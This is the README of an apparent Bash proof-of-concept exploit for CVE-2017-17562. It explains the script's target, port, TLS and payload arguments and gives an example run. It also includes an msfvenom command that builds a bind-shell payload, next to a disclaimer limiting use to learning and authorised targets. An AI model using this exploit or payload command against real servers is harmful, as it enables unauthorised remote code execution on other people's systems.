
PoC per CVE-2017-17562 scritto in bash
Un'implementazione PoC in Bash per CVE-2017-17562.
Richiede curl per creare richieste HTTP.
Basato sulle implementazioni di Metasploit e @fssecur3.
The following arguments need to be set as they are required for reconnaissance + payload send:
$1: IP/Host of remote vulnerable machine being attacked
$2: Port of remote machine webserver
$4: Path to crafted payload being sent to vulnerable machine
Opzionalmente, è possibile impostare anche i seguenti argomenti:
$3: If the web server is running under a TLS/SSL tunnel. Defaults to no
$5: Path to list of known vulnerable CGI endpoints, to be used in reconnaissance phase. Defaults to "cgi.endpoints"
bash exploit.bash 192.168.1.1 80 yes payload.so cgi.endpoints
Il presente codice è solo a scopo di apprendimento e dimostrazione. Non deve essere utilizzato su target per i quali non si ha autorizzazione.
Nessun payload è fornito in questo repository. Tuttavia, qualsiasi binario compatibile con l'architettura del sistema operativo target dovrebbe funzionare. Per creare un payload di bind shell, puoi usare msfvenon:
msfvenom -a <instruction_set> --platform <os> -p generic/shell_bind_tcp LHOST=<attacker_ip_address> LPORT=<target_bind_port> -f elf-so -o payload.so